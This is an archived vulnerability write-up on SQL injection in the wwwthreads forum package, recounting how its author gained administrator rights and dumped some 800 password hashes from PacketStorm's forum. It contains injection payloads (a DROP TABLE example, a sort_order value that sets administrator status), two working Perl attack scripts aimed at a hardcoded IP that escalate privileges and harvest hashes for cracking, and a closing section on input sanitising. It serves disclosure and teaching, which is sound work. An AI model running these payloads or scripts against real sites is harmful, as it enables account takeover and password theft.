Vulnerability
SQL
Affected
SQL systems
Description
'rain forest puppy' found following. Many applications are
vulnerable to various forms of SQL hacking. While programs know
they should avoid strcpy() and giving user data to a system()
call, many are unaware of how SQL queries can be tampered with.
This is more of a technical paper than an advisory, but it does
explain how RFP used a vulnerability in the wwwthreads package to
gain administrative access and some 800 passwords to PacketStorm's
discussion forum.
PacketStorm forums uses wwwthreads. Being the web security puppy
RFP started getting curious. So using an ultra-insightful
hacking technique, he changed the 'Board=general' parameter to
read 'Board=rfp' used with the showpost.pl script. Lo and behold
he got the following error given to him:
We cannot complete your request. The reason reported was:
Can't execute query:
SELECT B_Main,B_Last_Post
FROM rfp
WHERE B_Number=1
. Reason: Table 'WWWThreads.rfp' doesn't exist
Seeing there's also a 'Number=1' parameter, we can figure this
query can be reconstructed as
SELECT B_Main,B_Last_Post FROM $Board WHERE B_Number=$Number
Now, if any of you have read RFP's phrack 54 article, the SQL
appension part, available at
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2
you can see where to go. We can not only substitute a $Board
name and $Number, but also extra SQL commands. Imagine if $Board
were to equal 'general; DROP TABLE general; SELECT * FROM general'
This would translate into
SELECT B_Main,B_Last_Post FROM general; DROP TABLE general;
SELECT * FROM general WHERE B_Number=$Number
Now the ';' is generic for ending a command. Normally we could
use a '#' for mySQL to ignore everything else on the line;
however, the 'FROM' clause is on a separate line than the 'WHERE'
clause, so mySQL won't ignore it. Considering that invalid SQL
will cause mySQL to not run any commands, we at least need to
give a valid command string to parse...in this case, we feed a
generic select (similiar to the original) back to it. The result
of this (theoretically) is to drop (delete) the general forum
table.
But in reality, it doesn't work. Not because the theory is wrong,
but because the database user we're using doesn't have DROP
privileges. And due to how wwwthreads is written, it won't quite
let you do much with this. But all is not lost, we can just start
changing all numbers left and right, looking for where it blows
up...or we can go the easy route and download the (eval) source
code from www.wwwthreads.com. Yeah, kind of cheating, but it's
not quite a one-to-one solution.
You see, the eval code and the license code (of which PacketStorm
is running) are slightly different, including their SELECT
statements. So we have to be a little creative. First, let's
find the SELECT statement (or equivalent) that's featured above.
Just doing 'less showpost.pl', and searching (the '/' key) for
'SELECT' will show following:
# Grab the main post number for this thread
$query = qq!
SELECT Main,Last_Post
FROM $Board
WHERE Number=$Number
!;
Wow, that's it..except the field names (Main,Last_Post,Number) are
different than the pro version (B_Main,B_Last_Post,B_Number). If
we look right above it, we see
# Once and a while it people try to just put a number into the url,
if (!$Number) {
w3t::not_right("There was a problem looking up the Post...
Which is what limits the use of the $Number parameter.
At this point let's now evaluate 'why' we want to go forth into
this. Obviously DROP'ing tables ranks right up there with other
stupid DoS tricks. You may be able to modify other people's
posts, but that's lame too. Perhaps setting up our own forum?
All that information is stored in the DB. But that's a lot of
records to update. How about becoming a moderator? Or even
better, an administrator? Administrators can add, delete, and
modify forums, boards, and users. That may be a worthy goal,
although your still only limited to the realm of the forum, which
makes you a king of a very small and pitiful domain.
However, there is one thing worthy. If you make yourself a user
account, you'll notice you have to enter a password. Hmmm...those
passwords are stored someplace...like, in the database. If we
hedge our 'password reuse' theory, and combined with the fact that
wwwthreads (in some configurations) post the IP address of the
poster, we have some possibilities worth checking out.
So, let's look at this password thing. Going into 'edit profile'
gives us a password field, which looks an awful lot like a crypt
hash (view the HTML source). Damn, so the passwords are hashed.
Well, that just means you'll need a password cracker and more
time before you can start checking on password reuse. Assuming we
*can* get the passwords......
Let's start with the administrator access first. The adduser.pl
script is a good place to start, since it should show us all
parameters of a user. Notice the following code
# --------------------------------------
# Check to see if this is the first user
$query = qq!
SELECT Username
FROM Users
!;
$sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.
Query: $query";
$sth -> execute() or die "Can't execute query: $query. Reason:
$DBI::errstr";
my $Status = "";
my $Security = $config{'user_security'};
my $rows = $sth -> rows;
$sth -> finish;
# -------------------------------------------------------
# If this is the first user, then status is Administrator
# otherwise they are just get normal user status.
if (!$rows){
$Status = "Administrator";
$Security = 100;
} else {
$Status = "User";
}
What this does is look to see if any users are defined. If no
users are defined, the first user added gets the Status of
'Administrator' and a security level of 100. After that, all
added users just get Status=User. So we need to find a way to
make our Status=Administrator. A full user record can be seen a
little further down...
# ------------------------------
# Put the user into the database
my $Status_q = $dbh -> quote($Status);
$Username_q = $dbh -> quote($Username);
my $Email_q = $dbh -> quote($Email);
my $Display_q = $dbh -> quote($config{'postlist'});
my $View_q = $dbh -> quote($config{'threaded'});
my $EReplies_q = $dbh -> quote("Off");
$query = qq!
INSERT INTO Users (Username,Email,Totalposts,Laston,Status,Sort,
Display,View,PostsPer,EReplies,Security,Registered)
VALUES ($Username_q,$Email_q,0,$date,$Status_q,$config{'sort'},
$Display_q,$View_q,$config{'postsperpage'},$EReplies_q,$Security,$date)
!;
Now, let's take a moment here and explain the quote() function. A
string value of "blah blah blah", when stuck into a query that
looks like "SELECT * FROM table WHERE data=$data" will wind up
looking like
SELECT * FROM table WHERE data=blah blah blah
which is not valid. The database doesn't know what to do with the
extra two blah's, since they look like commands. Therefore all
string data need to be encapsulated in single quotes (').
Therefore the query should look like
SELECT * FROM table WHERE data='blah blah blah'
which is correct. Now, in RFP's SQL appension article he talks
about 'breaking out' of the single quote string by including your
own single quote. So if we submitted "blah blah' MORE SQL
COMMANDS...", it would look like
SELECT * FROM table WHERE data='blah blah' MORE SQL COMMANDS...'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
data we submitted
This causes the SQL engine to interpret the MORE SQL COMMANDS as
actual SQL commands, since if figured the 'data' part of the
string ended with the second single quote (the one we submitted).
This is a drawback of converting data into a 'human readable'
string, to be parsed back into data again...it's hard to determine
what's 'code/commands' and what's 'data'.
All is not lost, however. By submitting a '', it tells the SQL
engine to NOT end the data string, but rather only think of it as
a single quote in the data context. Therefore the following query
SELECT * FROM table WHERE data='data''more data'
makes the database look for the value "data'more data". So to
keep people from breaking out of strings and submitting extra SQL
commands, all you have to do is double up every single quote
(turn ' into ''). This will ensure that all data is indeed
considered data. And this is what the DBI->quote() function
does--it will put single quotes around the string, and double all
single quotes in the string.
So after all of that explaination, the short of it is that
anything that is run through quote() is of no use to use, because
we can't submit extra SQL commands or otherwise tamper with
anything fun. And if you look, wwwthreads uses quote()
extensively. So this may be rough. But all is not lost...
You see, there are different field types. You can have strings,
boolean values, various numeric values, etc. While a string
field needs to be in the format of field='data', a numeric field
doesn't use the '' (i.e. numeric_field='2' is invalid). The
correct syntax for numeric fields in numeric_field=2. Ah ha!
There's no quotes to deal with, and you can't even use quotes
anyways. The correct solution is to make sure all numeric field
data is indeed numeric (more on this later). But we'll give you
a hint...wwwthreads doesn't go that far (nor do most applications,
actually).
So, now we need a SQL statement that preferably deals with a
table we are interested in. A SELECT statement (retrieves data)
is tougher, since we'll need to include a whole 'nother query to
do something other than SELECT. INSERT and UPDATE are nice
because we're already modifying data...we can just ride in more
data to update (hopefully).
Poking around brings us to a very nice spot...changeprofile.pl.
This is the script that takes data entered in editprofile.pl and
enters the changes into the database. Of course, the profile is
our user profile. This means to use this, we need a valid user
account. In any event, let's have a look-see...
# Format the query words
my $Password_q = $dbh -> quote($Password);
my $Email_q = $dbh -> quote($Email);
my $Fakeemail_q = $dbh -> quote($Fakeemail);
my $Name_q = $dbh -> quote($Name);
my $Signature_q = $dbh -> quote($Signature);
my $Homepage_q = $dbh -> quote($Homepage);
my $Occupation_q = $dbh -> quote($Occupation);
my $Hobbies_q = $dbh -> quote($Hobbies);
my $Location_q = $dbh -> quote($Location);
my $Bio_q = $dbh -> quote($Bio);
my $Username_q = $dbh -> quote($Username);
my $Display_q = $dbh -> quote($Display);
my $View_q = $dbh -> quote($View);
my $EReplies_q = $dbh -> quote($EReplies);
my $Notify_q = $dbh -> quote($Notify);
my $FontSize_q = $dbh -> quote($FontSize);
my $FontFace_q = $dbh -> quote($FontFace);
my $ICQ_q = $dbh -> quote($ICQ);
my $Post_Format_q= $dbh -> quote($Post_Format);
my $Preview_q = $dbh -> quote($Preview);
Ack! Practically everything is quoted! That means all those
parameters are useless to us. And lets peek at the final actual
query that sticks all our information back into the database
# Update the User's profile
my $query =qq!
UPDATE Users
SET Password = $Password_q,
Email = $Email_q,
Fakeemail = $Fakeemail_q,
Name = $Name_q,
Signature = $Signature_q,
Homepage = $Homepage_q,
Occupation = $Occupation_q,
Hobbies = $Hobbies_q,
Location = $Location_q,
Bio = $Bio_q,
Sort = $Sort,
Display = $Display_q,
View = $View_q,
PostsPer = $PostsPer,
EReplies = $EReplies_q,
Notify = $Notify_q,
TextCols = $TextCols,
TextRows = $TextRows,
FontSize = $FontSize_q,
FontFace = $FontFace_q,
Extra1 = $ICQ_q,
Post_Format = $Post_Format_q,
Preview = $Preview_q
WHERE Username = $Username_q
!;
Since wwwthreads nicely slaps the '_q' on the variables, it's
easy to see. See it? $Sort, $PostsPer, $TextCols, and $TextRows
aren't quoted. Now, let's figure out where that data comes from
my $Sort = $FORM{'sort_order'};
my $PostsPer = $FORM{'PostsPer'};
my $TextCols = $FORM{'TextCols'};
my $TextRows = $FORM{'TextRows'};
Wow, they're taken straight from the submitted form data. That
means they are not checked or validated in any way. Here's our
chance!
Going back to structure of the user record (given above), there's
a 'Status' field we need to change. Looking in this UPDATE
query, Status isn't listed. So this means that the Status field
is going to remain unchanged. Bummer. See what we're going to
do yet? Take a second and think about it.
Remember, all of this hinges around the fact that we want to
submit what looks like data, but in the end, the SQL
engine/database will interpret it differently. Notice in the
query that the fields are listed in the format of field=value,
field=value, field=value, etc (of course, they're on separate
lines). If you were to insert some fake values (for the sake of
example), you might have
Name='rfp', Signature='rfp', Homepage='www.wiretrip.net/rfp/'
All RFP did was put the fields on the same line, collapse the
whitespace, and fill in the (quoted) string values. This is
valid SQL.
Now, let's put this all together. Looking at the the 'Sort'
variable (which is numeric), we would feasibly have
Bio='puppy', Sort=5, Display='threaded'
which is still valid SQL. Since $Sort=$FORM{'sort_order'}, that
means the above value for Sort was given by submitting the
parameter sort_order=5. Now, let's use Sort to our advantage.
What if we were to include a comma, and then some more column
values? Oh, say, the Status field? Let's set the sort_order
parameter to "5, Status='Administrator',", and then let it run
its course. Eventually we'll get a query that looks like
Bio='puppy', Sort=5, Status='Administrator', Display='threaded'
^^^^^^^^^^^^^^^^^^^^^^^^^^
our submitted data
This is still valid SQL! And furthermore, it will cause the
database to update the Status field to be 'Administrator'! But
remember when we looked in adduser.pl, the first user had a
Security level of 100. We want that to, so we just set the
sort_order parameter to "5, Status='Administrator',
Security=100,", and then we get
Bio='puppy', Sort=5, Status='Administrator', Security=100, ...
which updates both values to what we want. The database not
knowing any better will update those two fields, and now the
forums will think we're an administrator.
So RFP went to apply this new technique on PacketStorm...and get
a 404 for requests to changeprofile.pl. Yep, the pro version
doesn't have it. Navigating the 'Edit Profile' menu, he sees
that it has 'Basic Profile', 'Display Preferences', and 'Email
Notifications/Subscriptions', which the demo does not (it's all
lumped together). Wonderful. If they changed the scripts around,
they may have also changed the SQL queries (well they had to,
actually). So now we're in 'blackbox' mode (blindly making
educated guesses on what's going on). Since we want to play with
the sort_order parameter still, you'll see that it's contained in
the 'Display Preferences' script (editdisplay.pl). This script
handles the sort_order, display, view, PostPer, Post_Format,
Preview, TextCols, TextRows, FontSize, FontFace, PictureView, and
PicturePost (gained by viewing the HTML source). So it's a subset
of the parameters. Using the above code snippets, we can guess at
what the SQL query looking like. So why not give it a shot.
First poke some invalid values into sort_order (characters instead
of numbers). This causes an error, which I figured. Since, in
the first example how the fields where 'B_' for the 'Board'
table, the 'User' table (which we are now using) prefixes colums
with a 'U_'. So that means we need to use 'U_Status' and
'U_Security' for field names. Good thing we checked.
Since this needs to be a valid form submit, we need to submit
values for all of the listed variables. At this point we should
also point out (again) we need a valid user account of which to
increase the status. We'll need the username and password (hash),
which are printed as hidden form elements on various forms (like
editdisplay.pl). You'll see the parameters are Username and
Oldpass. So based on all of this, we can construct a URL that
looks like
changedisplay.pl? Cat=&
Username=rfp
&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100
&display=threaded
&view=collapsed
&PostsPer=10
&Post_Format=top
&Preview=on
&TextCols=60
&TextRows=5
&FontSize=0
&FontFace=
&PictureView=on
&PicturePost=off
The important one of course being
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100
which is just an escaped version of what we used above (the %3d
translate to the '=' character). When you lump it all together
into a single string, you get
changedisplay.pl?Cat=&Username=rfp&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100&display=threaded
&view=collapsed&PostsPer=10&Post_Format=top&Preview=on&TextCols=60
&TextRows=5&FontSize=0&FontFace=&PictureView=on&PicturePost=off
which, while gross, is what it needs to be. So, submit this to
PacketStorm, and get
Your display preferences have been modified.
Wonderful. But, noticing on the top menu, one can see an 'Admin'
option now. Click it, and what do we see but the heart warming
message of
As an Administrator the following options are available to you.
Bingo! Administrator privileges! Looking at options, we can edit
users, boards, or forums, assign moderators and administrators,
ban users/hosts, expire/close/open threads, etc.
Now for our second objective...the passwords. Go into
'Show/Edit Users', and you're asked to pick the first letter of
the usernames you're interested in. So pick 'R'. At list of
all 'R*' users comes up. RFP clicked on 'rfp'. And there we go,
his password hash. Unfortunately, there's no nice and easy way
to dump all users and their hashes. Bummer. So he automated a
perl script to do it for him, and dump the output in a format that
can be fed into John the Ripper.
Below are two scripts. wwwthreads.pl will run the query for you
against a pro version of wwwthreads. You just have to give the ip
address of the server running wwwthreads, and a valid user and
password hash. w3tpass.pl will walk and download all wwwthreads
user password hashes, and give output suitable for password
cracking with John the Ripper.
-[ wwwthreads.pl
#!/usr/bin/perl
# wwwthreads hack by rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";
#####################################################
$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";
$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";
print sendraw($tosend);
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
-[ w3tpass.pl
#!/usr/bin/perl
# download all wwwthread usernames/passwords once you're administrator
# send a fake cookie with authentication and fake the referer
# initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;
#####################################################
# modify these
# can be DNS or IP address
$ip="209.143.242.119";
$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$zxcvzxvczxcvzxvczxcv";
#####################################################
@letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
print STDERR "wwwthreads password snatcher by rain forest puppy\r\n";
print STDERR "Getting initial user lists...";
foreach $let (@letts){
$parms="Cat=&Start=$let";
$tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
"Cookie: Username=$username; Password=$passhash\r\n\r\n";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/showoneuser\.pl\?User=([^"]+)\"\>/){
push @users, $1;}}}
$usercount=@users;
print STDERR "$usercount users retrieved.\r\n".
"Fetching individual passwords...\r\n";
foreach $user (@users){
$parms="User=$user";
$tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
"Cookie: Username=$username; Password=$passhash\r\n\r\n";
my @D=sendraw($tosend);
foreach $line (@D){
if($line=~/OldPass value = "([^"]+)"/){
($pass=$1)=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$user =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
print $user.':'.$pass."::::::::::\n";
last;}}}
print STDERR "done.\r\n\r\n";
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
Solution
Now, how to defend against this? As you saw, the reason this
worked was due to non-restricted data being passed straight into
SQL queries. Luckily wwwthreads quoted (most) string data, but
they didn't touch numeric data. The solution is to make sure
numeric data is indeed numeric. You can do it the 'silent' way
by using a function like so
sub onlynumbers {
($data=shift)=~tr/0-9//cd;
return $data;}
And similar to how all string data is passed through DBI->quote(),
pass all numeric data through onlynumbers(). So, for the above
example, it would be better to use
my $Sort = onlynumbers($FORM{'sort_order'});
Another area that needs to be verified is the table name. In our
very first example, we had 'Board=general'. As you see here, a
table name is not quoted like a string. Therefore we also need
to run all table names through a function to clean them up as
well. Assuming table names can have letters, numbers, and
periods, we can scrub it with
sub scrubtable {
($data=shift)=~tr/a-zA-Z0-9.//cd;
return $data;}
which will remove all other cruft.
In the end, *all* (let me repeat that... **ALL**) incoming user
data should be passed through quote(), onlynumbers(), or
scrubtable()...NO EXCEPTIONS! Passing user data straight into a
SQL query is asking for someone to tamper with your database.
New versions of wwwthreads are available from www.wwwthreads.com,
which implement the solutions pretty much as described here.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
